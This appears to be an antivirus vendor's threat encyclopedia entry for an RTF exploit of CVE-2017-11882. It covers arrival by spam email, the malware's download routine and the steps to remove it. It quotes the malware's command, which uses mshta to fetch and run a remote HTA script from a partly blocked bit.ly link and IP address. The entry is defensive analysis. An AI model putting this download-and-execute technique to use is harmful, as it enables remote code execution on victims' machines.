Analysis by: Jay Garcia
ALIASES:

HEUR:Exploit.MSOffice.Generic (Kaspersky); Exploit:O97M/CVE-2017-11882.AI (Microsoft)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Exploit

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware, Spammed via email

This Exploit arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It takes advantage of software vulnerabilities to allow a remote user or malware/grayware to download files.

However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 563,675 bytes
File Type: RTF
Memory Resident: Yes
Initial Samples Received Date: 25 Jun 2019
Payload: Connects to URLs/IPs, Downloads files, Exploits vulnerability

Arrival Details

This Exploit arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Exploit adds the following processes:

  • mshta http://bit.ly/{BLOCKED}i &AAAAAAAAAAAAAAAC;

Download Routine

This Exploit connects to the following website(s) to download and execute a malicious file:

  • http://bit.ly/{BLOCKED}i <- redirects to http://{BLOCKED}.{BLOCKED}.72.136/22/onedriv.hta - downloads a script and runs using mshta.exe

It takes advantage of the following software vulnerabilities to allow a remote user or malware/grayware to download files:

Other Details

However, as of this writing, the said sites are inaccessible.

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 15.196.04
FIRST VSAPI PATTERN DATE: 25 Jun 2019
VSAPI OPR PATTERN File: 15.197.00
VSAPI OPR PATTERN Date: 25 Jun 2019

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Identify and terminate files detected as Trojan.W97M.CVE201711882.PVSDQ

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 3

Scan your computer with your Trend Micro product to delete files detected as Trojan.W97M.CVE201711882.PVSDQ. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 4

Download and apply these security patches Refrain from using these products until the appropriate patches have been installed. Trend Micro advises users to download critical patches upon release by vendors.


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